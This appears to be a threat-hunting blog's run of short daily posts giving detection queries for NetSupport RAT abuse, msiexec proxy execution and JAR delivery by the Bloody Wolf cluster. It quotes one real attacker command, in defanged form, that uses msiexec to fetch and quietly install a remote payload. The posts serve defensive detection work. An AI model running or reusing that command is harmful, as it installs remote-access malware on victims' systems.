Know Your Adversary

Hello everyone! Remote Access Tools (T1219) is still a very common technique observed in many campaigns and incidents. According to Red Canary's Intelligence Insights for August 2025, the most prevalent threat was NetSupport RAT , so let's look at various detection opportunities. As always, adversaries may rename executables. So we can search for rename NetSupport executables: event_type: "processcreatewin" AND proc_file_productname: "netsupport" AND NOT proc_file_path: "client32.exe" Next thing, normally the RAT should start from the Program Files directory, so we can search for running it from other folders: event_type: "processcreatewin" AND proc_file_path: "client32.exe" AND NOT proc_file_path: "program files" Finally, we can look for network indicators: event_type: "dnsreqwin" AND dns_rname: "netsupportsoftware.com" See you tomorrow!

Hello everyone! There're lots of legitimate binaries used by threat actors as a part of ClickFix. PowerShell, Windows Command Shell, mshta... But today we'll look at the following technique:  System Binary Proxy Execution: Msiexec (T1218.007) . This time the adversary abused msiexec to install NetSupport RAT to the compromised system: msiexec /i hXXps://cf-2-up[.]com/res/skirthub /qn 87af19ba=a296378a+606fc0b0*05a130cd(980b6676^174d7ea5*b01eaa45 For example, we can look for msiexec running files without .msi extension from a remote server: event_type: "processcreatewin" AND proc_file_path: "msiexec.exe" AND cmdline: *http* AND NOT cmdline: *msi* See you tomorrow!

Hello everyone! Let's talk about recently uncovered techniques leveraged by Bloody Wolf activity cluster. The threat actors rely on phishing emails and distribute legitimate PDF file with malicious links. These links are used to deliver malicious JAR files. They used to distribute STRRAT, but in recent campaigns changed it to legitimate remote access software commonly abused by various adversaries - NetSupport. Details are available in the report , but let's look at some of detection opportunities. The victim clicks the phishing link and downloads a JAR file. Usually, it's located under Downloads folder. What about execution? Java is used to execute it, usually with -jar parameter. What's more, user must execute it, so the parent process for Java should be explorer.exe . Here's what we got: event_type: "processcreate"  AND  proc_p_file_path: "explorer.exe"  AND  cmdline:("java" AND "jar" AND "Downloads") To get the...